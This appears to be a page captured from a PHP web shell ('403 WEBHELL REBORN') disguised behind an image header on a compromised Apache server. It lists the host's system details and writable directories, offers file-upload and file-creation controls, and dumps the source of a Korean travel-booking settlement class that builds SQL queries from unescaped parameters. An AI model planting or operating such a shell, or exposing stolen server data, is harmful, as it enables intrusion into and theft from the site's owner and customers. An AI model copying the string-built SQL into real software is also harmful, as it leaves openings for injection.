ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/LibClass/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/LibClass/AccountCustomer.class.php
<?php 
/******************************************************************************
 *
 * 호텔/여행 공통 정산 및 입출금 클래스
 *
 ******************************************************************************/
class AccountCustomer{

	// Class 멤버변수
	public  $cf;
	public  $TO_CF;
	public  $TO_MB;

	// 생성자
	public function __construct() {
		global $cf , $TO_CF;
		global $TO_MB;

		$this->cf = $cf;
		$this->TO_CF = $TO_CF;
		$this->TO_MB = $TO_MB;
	}
	
	
	// 입출금  - 고객 자동정산정보 계산
	//
	// @res_no : 예약번호
	// @mode : 여행상품(good_res)
	public function account_customer_check($res_no,$mode="")
	{
		global $TO_MB;
		global $cf;

		Log::save(sprintf("%s(%d)account_customer_check : %s %s - PG : %s ", __FILE__, __LINE__, $res_no, $mode,$cf['pg']['suply']), '', '/'.date('Ym'));
	
		if (!$res_no) return false;
	
		$table = "TB_ACCOUNT_CUSTOMER";
		$acnt_cd = "";// 기초코드 > 자동정산숙박비
	
		// 여행상품 예약내역
		if ($mode=="good_res") {
			$row = res_good_master(" and res_no='{$res_no}' and res_stat_cd='C' ");
			$acnt_cd = ""; // 여행상품은 acnt_cd가 없음.
		}
		
		// 할인항공 예약내역
		elseif ($mode=="air_res") {
			$row = res_air_master(" and res_no='{$res_no}' and res_stat_cd='C' ");
			$acnt_cd = ""; // 할인항공은 acnt_cd가 없음.
		} 

		// 렌트카 예약내역
		elseif ($mode=="rentcar_res") {
			$row = res_rentcar_master(" and res_no='{$res_no}' and res_stat_cd='C'  ");
			$acnt_cd = ""; // 할인항공은 acnt_cd가 없음.
		} 
		
		// 호텔숙박 객실예약내역
		else {
			$class_HotelReserv = new HotelReserv();
			//$row = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' and res_stat_cd='C' ");
			$row = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}'  ");

			$acnt_cd = "MOCU001";// 호텔숙박 acnt_cd는 기초코드 > 자동정산숙박비
		}
	
		// 기장정보에 숙박비자동정산(MOCU001)이 존재하는지 체크
		$sql = "select * from {$table} where res_no='{$res_no}' and acnt_cd='{$acnt_cd}'"; // 기초코드 > 자동정산숙박비
		$rs = db_query($sql);
		$cnt = db_num($rs);


		Log::save(sprintf("%s(%d)TB_ACCOUNT_CUSTOMER select : %s ", __FILE__, __LINE__, $sql), '', '/'.date('Ym'));

	
		// 예약내역이 없을 경우 정산정보도 제거
		if (count($row)==0) {
			$sql = " update {$table} set delflag='Y' where res_no='{$res_no}' ";

			Log::save(sprintf("%s(%d)TB_ACCOUNT_CUSTOMER update : %s ", __FILE__, __LINE__, $sql), '', '/'.date('Ym'));

			db_query($sql);
			return false;
		}
	
		// 누계 초기화
		$price_total_tot		= 0;// 합계금액
		$price_cost_tot		= 0;// 계약금액
	
		for ($i=0 ; $i<count($row) ; $i++) {
			// 합계금액누계(=입금예정(+))
			$price_total_tot += $row[$i]['price_total'];
	
			// 계약금액누계(=계약가(+))
			$price_cost_tot += $row[$i]['price_cost_total'];
		}
	
		// 숙박비(or 여행상품)자동정산 정보(자동정산숙박비)가 있으면, 업데이트(update)
		if ($cnt >= 1) {
			$sql = "select pgacidx from {$table} where res_no='{$res_no}' order by pgacidx ASC limit 1";
			$row_t = db_fetch($sql);
			$pgacidx = $row_t['pgacidx'];
	
			$sql = "update {$table} set ";
			$sql .= "price_cost_plus='{$price_cost_tot}'";// 계약가(+)
			$sql .= ",input_will_plus='{$price_total_tot}'";// 입금예정(+)
			$sql .= ",edit_dt=now()";
			##$sql .= ",ins_mb_id='{$TO_MB[mb_id]}'";
			$sql .= ",delflag='N' ";
			$sql .= " where res_no='{$res_no}' and pgacidx='{$pgacidx}' ";
			db_query($sql);
		} 
		
		// 숙박비(or 여행상품)자동정산 정보가 없으면, 인서트(insert)
		else if ( $cnt == 0 ) {
			$sql = "insert into {$table} set ";
			$sql .= " res_no='{$res_no}'";
			$sql .= ",acc_dt=curdate()";
			$sql .= ",acnt_cd='{$acnt_cd}'";
			$sql .= ",price_cost_plus='{$price_total_tot}'";// 계약가(+)
			$sql .= ",input_will_plus='{$price_total_tot}'";// 입금예정(+)
			$sql .= ",ins_dt=now()";
			//$sql .= ",ins_mb_id='{$TO_MB[mb_id]}'";
			db_query($sql);
		}

		Log::save(sprintf("%s(%d)TB_ACCOUNT_CUSTOMER update : %s ", __FILE__, __LINE__, $sql), '', '/'.date('Ym'));
	}	
	
	
	// 입출금 기장 정보 - 고객
	//
	// @res_no : 예약코드
	// @pgacidx : 입출금 row seq
	//
	// 프로시저 : SP_RES_GOOD_SEARCH도 수정해야함.
	public function res_account_info($res_no,$pgacidx="")
	{

		if (!$res_no) return "";
	
		if ($pgacidx) $sql_where = " and pgacidx='{$pgacidx}' ";
	
		/*$sql = "select * , ";
		$sql .= " date_format(acc_dt,'%Y.%m.%d') as acc_dt2,";
		$sql .= " (select cd_nm from TB_CODEC where TB_CODEC.code=TB_ACCOUNT_CUSTOMER.acnt_cd and cd_a='ACC' and cd_b='MOCU' limit 1 ) as acnt_cd_nm, ";
		$sql .= " (select cd_nm from TB_CODEC where TB_CODEC.code=TB_ACCOUNT_CUSTOMER.pgcase_cd and cd_a='PRD' and cd_b='INST' limit 1 ) as pgcase_cd_nm ";
		$sql .= " from TB_ACCOUNT_CUSTOMER ";
		$sql .= " where res_no='{$res_no}' and delflag='N' {$sql_where} ";
		$sql .= " order by pgacidx ";*/

        $sql = "select * , ";
        $sql .= " date_format(acc_dt,'%Y.%m.%d') as acc_dt2,";
        $sql .= " (select cd_nm from TB_CODEC where TB_CODEC.code=TB_ACCOUNT_CUSTOMER.acnt_cd and cd_a='ACC' and cd_b='MOCU' limit 1 ) as acnt_cd_nm, ";
        $sql .= " (select cd_nm from TB_CODEC where TB_CODEC.code=TB_ACCOUNT_CUSTOMER.pgcase_cd and cd_a='PRD' and cd_b='INST' limit 1 ) as pgcase_cd_nm ";
        $sql .= " from TB_ACCOUNT_CUSTOMER ";
        $sql .= " where res_no='{$res_no}' and viewflag='Y' {$sql_where} ";
        $sql .= " order by pgacidx ";


		$rs = db_query($sql);
	
		$data = array();//리턴변수
		$acc_data = array();//입출금 기장
	
		$i=0;
		while ($row = db_fetch_array($rs)) {
			$acc_data[$i] = $row;
	
			if ($row['pgcase_cd']=="INST001") {
				$acc_data[$i]['banking_info']=$row['bank_nm']." [".$row['bank_number']."]";
			} else if ($row['pgcase_cd']=="INST002") {
				$acc_data[$i]['banking_info']=$row['bank_nm']." [".$row['bank_number']."]";
			} else if ($row['pgcase_cd']=="INST006") {
                $acc_data[$i]['banking_info']=$row['bank_nm']." [".$row['bank_number']."]";
            } else if($row['pgcase_cd']=="INST010"){ //wechat
				$acc_data[$i]['banking_info']=$row['bank_nm']." [".$row['bank_number']."]";
			} else if($row['pgcase_cd']=="INST011"){ //alipay
				$acc_data[$i]['banking_info']=$row['bank_nm']." [".$row['bank_number']."]";
			}



            else {
				$acc_data[$i]['banking_info']="";
			}
	
			// 계정
			if ($row['ioac_cd']){
				$data_ioac = base_codec("PRD","IOAC",$row['ioac_cd']); // 계정
				$acc_data[$i]['ioac_nm'] = $data_ioac[0]['cd_nm'];
			}
			$i++;
		}
	
		// 개별데이터 요청
		if ($pgacidx) return $acc_data;
	
		$data['acc'] = $acc_data;
	
		// 계약가,입금예정,통장출금 합계
		/*$sql = "select sum(point_divide) as tot_point_divide, ";
		$sql .= " sum(ifnull(price_cost_plus,0))-sum(ifnull(price_cost_minus,0)) as tot_price_cost, ";
		$sql .= " sum(ifnull(input_will_plus,0)) - sum(ifnull(input_will_minus,0)) as tot_input_will,";
		$sql .= " sum(ifnull(bank_plus,0))  as tot_bank_plus, "; // 입금계
		$sql .= " sum(ifnull(bank_minus,0)) as tot_bank_minus, "; // 출금계
		$sql .= " sum(ifnull(bank_plus,0)) - sum(ifnull(bank_minus,0)) as tot_bank, "; // 입출금계(=입금계-출금계) 
		$sql .= " SUM( IF(pgcase_cd='INST001', IFNULL(bank_plus,0),0 ) ) - SUM(  IF(pgcase_cd='INST001', IFNULL(bank_minus,0),0)  ) AS pay_bank , "; // 통장 입금계(2014-07-28)
		$sql .= " SUM( IF(pgcase_cd='INST002', IFNULL(bank_plus,0),0 ) ) - SUM(  IF(pgcase_cd='INST002', IFNULL(bank_minus,0),0)  ) AS pay_card "; // 카드 입금계(2014-07-28)
		$sql .= " from TB_ACCOUNT_CUSTOMER where res_no='{$res_no}' and delflag='N' ";*/

        $sql = "select sum(point_divide) as tot_point_divide, ";
        $sql .= " sum(ifnull(price_cost_plus,0))-sum(ifnull(price_cost_minus,0)) as tot_price_cost, ";
        $sql .= " sum(ifnull(input_will_plus,0)) - sum(ifnull(input_will_minus,0)) as tot_input_will,";
        $sql .= " sum(ifnull(bank_plus,0))  as tot_bank_plus, "; // 입금계
        $sql .= " sum(ifnull(bank_minus,0)) as tot_bank_minus, "; // 출금계
        $sql .= " sum(ifnull(bank_plus,0)) - sum(ifnull(bank_minus,0)) as tot_bank, "; // 입출금계(=입금계-출금계)
        $sql .= " SUM( IF(pgcase_cd='INST001', IFNULL(bank_plus,0),0 ) ) - SUM(  IF(pgcase_cd='INST001', IFNULL(bank_minus,0),0)  ) AS pay_bank , "; // 통장 입금계(2014-07-28)
        $sql .= " SUM( IF(pgcase_cd='INST002', IFNULL(bank_plus,0),0 ) ) - SUM(  IF(pgcase_cd='INST002', IFNULL(bank_minus,0),0)  ) AS pay_card , "; // 카드 입금계(2014-07-28)
        $sql .= " SUM( IF(pgcase_cd='INST006', IFNULL(bank_plus,0),0 ) ) - SUM(  IF(pgcase_cd='INST006', IFNULL(bank_minus,0),0)  ) AS pay_benepia "; // 베네피아 입금계(2022-12-20)
        $sql .= " from TB_ACCOUNT_CUSTOMER where res_no='{$res_no}' and viewflag='Y' ";

        /*if(devCookie()){
            echo $sql;
        }*/
	
		$rs = db_query($sql);
		$row = db_fetch_all($rs);
	
		$data['tot'] = $row[0];
	
		// 개별 합계계산
		$benefit_will 		= $row[0]['tot_input_will'] -  $row[0]['tot_price_cost']; // 예정수익금 (= 입금예정금계 - 계약금계)
		$pre_money		= $row[0]['tot_input_will'] - $row[0]['tot_bank']; // 미입금 (= 입금예정금계 - 통장입출금계)
		$pre_money		= $pre_money - $row[0]['tot_point_divide'];// 미입금 = 미입금 + 적립금 결제  (2017-01-13.허종)
		$pay_money		= $row[0]['tot_bank']; // 입금( = 통장출금계)
		$pay_bank			= $row[0]['pay_bank']; // 통장입금(2014-07-28)
		$pay_card			= $row[0]['pay_card']; // 카드입금(2014-07-28)
		$pay_benepia			= $row[0]['pay_benepia']; // 카드입금(2014-07-28)

		// 실이익금 계산
		$benefit = 0;
		if ($pre_money<=0) { // 입금할 금액이 없거나, 과입금일때 실수익금계산
			$benefit = $row[0]['tot_bank'] - $row[0]['tot_price_cost'] ; // (실)수익금 = 입금액계 - 예약금계
		}
	
		// 반올림 각 항목에 기장
		$data['tot']['benefit'] 		= round($benefit); // (실)수익금
		$data['tot']['benefit_will'] 	= round($benefit_will); // 예정 수익금
		$data['tot']['benefit'] 		= round($benefit); // 수익금
		$data['tot']['pre_money'] 	= round($pre_money); // 미입금
		$data['tot']['pay_money'] 	= round($pay_money); // 입금
		$data['tot']['pay_bank'] 	= round($pay_bank); // 통장 입금(2014-07-28)
		$data['tot']['pay_card'] 	= round($pay_card); // 카드 입금(2014-07-28)
		$data['tot']['pay_benepia'] 	= round($pay_benepia); // 카드 입금(2014-07-28)

		return $data;
	}


	public function res_account_all_info($res_no)
	{
		if($res_no){
			$sql = "SELECT * FROM TB_ACCOUNT_CUSTOMER WHERE res_no = '{$res_no}'";
			$res = db_query($sql);

			$returnData = array();
			while($dataRow = db_fetch_array($res)){
				array_push($returnData, $dataRow);
			}

			return $returnData;

		}

		return false;
	}

	
/*
	//
	// 호텔 정산 목록(예약완료C)
	//
	public function account_res_complete_hotel($sql_where="",$sql_order="",$olds=0,$line=0) {
	
		if ($sql_where) $sql .= " ".$sql_where ;
	
		$sql ="select * from (
					SELECT a.res_dt,a.idx,a.res_no,a.hseq,a.agent_id,a.checkin_dt,
						SUM(a.adult_num+a.child_num) AS inwon ,
						SUM(a.room_cnt) AS room_cnt,
						SUM(a.lodg_day) AS lodg_cnt,
						SUM(a.price_cost_total) AS price_cost_total,
						SUM(a.price_sell_total) AS price_sell_total,
						SUM(a.price_agent_total) AS price_agent_total,
						SUM(a.price_total) AS price_total
					FROM
					(SELECT c.res_dt,b.idx,c.res_no,b.res_stat_cd,c.adult_num,c.child_num,c.agent_id,b.checkin_dt,
						b.hseq,b.room_cnt,
						b.lodg_day,b.price_cost_total,b.price_sell_total,b.price_agent_total,b.price_total
					FROM TB_RES_HOTEL_ROOM b , TB_RES_HOTEL c
					WHERE b.res_no=c.res_no AND b.res_stat_cd='C' ) a
					WHERE 0=0 {$sql_where}
					GROUP BY a.res_no,a.hseq
				) tb_acc where 0=0 ";
	
		if ($sql_order) $sql .= " order by ".$sql_order;
		else $sql .= " order by tb_acc.res_dt desc ";
		if ($olds>=0 and $line>0) $sql .= " limit $olds , $line";
	
		$data = array();
	
		$rs = db_query($sql);
	
		$i=0;
	
		while ($rows = db_fetch_array($rs)) {
			$data[$i] = $rows;
	
			// 호텔,호텔코드,룸타입등은 한 예약코드안에 복수개일수 있으므로,
			// 위 자료를 다시 fetch
			$data_hotel = toad_res_hotel_roomdate(" and a.res_no='$rows[res_no]' ");
			for( $j=0 ; $j<count($data_hotel) ; $j++){
				$arr_hotel = array(
						'hotel_nm'=>$data_hotel[$j]['hotel_nm'],
						'hotel_code'=>$data_hotel[$j]['hotel_code'],
						'room_type'=>$data_hotel[$j]['room_type']
				);
				$data[$i]['hotel_info'][] = $arr_hotel;
			}
	
			// 자동정산숙박비 계정생성
			//account_hotel_check($rows['res_no'],$rows['hseq']);
	
			// 정산정보 가져오기
			//$row_t = account_hotel($rows['res_no'],$rows['hseq']);
			//$data[$i][]=$row_t['total'];
	
	
			$i++;
		}
	
		return $data;
	}	
*/	
	
	//
	// 호텔 정산 정보
	//
	// params res_no : 예약번호
	// params seq :
	public function acc_hotel_date($res_no,$seq="")
	{
		$table = "TB_ACCOUNT_HOTEL";
		$class_HotelReserv = new HotelReserv(); 
	
		$data['list'] = array(); // 정산 항목 목록
		$data['calu'] = array(); // 정산 누적금액 및 이익율 계산
	
		$revn_tot = 0; // 수익계
		$exes_tot = 0; // 비용계
		$exes_common = 0; // 출금지출(2014-07-29)
		$exes_vat = 0; // 부가세 지출(2014-07-29)
	
		if (!$res_no) return $data;
	
		$sql = "select * from {$table} where res_no='{$res_no}' ";
		if ($seq) $sql .= " and seq='{$seq}' ";
		$sql .= " order by acc_dt , ins_dt ";
	
		$rs = db_query($sql);
	
		// 각 항목 조회
		for ($i=0 ; $row=db_fetch_array($rs) ; $i++) {
			$revn_tot += $row['revn_price']; // 수익계
			$exes_tot += $row['exes_price']; // 비용계,총지출 = 출금지출 + 부가세 지출(2014-07-29)
	
			if($row['exes_cd']=="LGXE003") // 부가세 지출(2014-07-29)
			{
				$exes_vat += $row['exes_price'];
			}
			else // 출금 지출(2014-07-29)
			{
				$exes_common += $row['exes_price'];
			}
	
			$data['list'][] = $row;
		}
	
		if (!$seq) {
			$arr = array();
			$comm_tot = 0; // 수수료 수익
			$incom_tot =0; // 총수익
			$price_total = 0; // 판매액
	
			if ( count($data['list']) > 0 ) // 정산정보가 있음
			{
				// 판매(입금)액
				$arr_t = $class_HotelReserv->res_hotel_master(" and res_no='{$res_no}' ");
				$price_total = $arr_t[0]['price_total'];
	
				// 알선수수료 = 판매액 - 비용계(항공,지상비등등)
				$comm_tot = $price_total - $exes_tot;
	
				// 총수익 = 알선수수료 + 수익계(COM,수수료 등)
				$incom_tot = $comm_tot + $revn_tot;
			}
			$arr['revn_tot']	= $revn_tot;
			$arr['exes_tot']	= $exes_tot; // 총지출 = 출금지출 + 부가세 지출
			$arr['exes_common']	= $exes_common; // 출금 지출(2014-07-29)
			$arr['exes_vat']	= $exes_vat; // 부가세 지출(2014-07-29)
			$arr['comm_tot']	= $comm_tot; // 알선수수료
			$arr['incom_tot']	= $incom_tot; // 총수익
	
			$data['calu'] = $arr;
		}
	
		// return
		return $data;
	}


	public function getBenepiaAccData($res_no){
		$sql = "SELECT * FROM TB_ACCOUNT_CUSTOMER WHERE res_no = '{$res_no}' ";
//		p($sql);
		$res = db_query($sql);

		$returnData = array();

		while($row = db_fetch_array($res)){
			array_push($returnData, $row);
		}

		return $returnData;
	}
	
	
	
	
	
	
	
	
	
	
	
	
}

Anon7 - 2021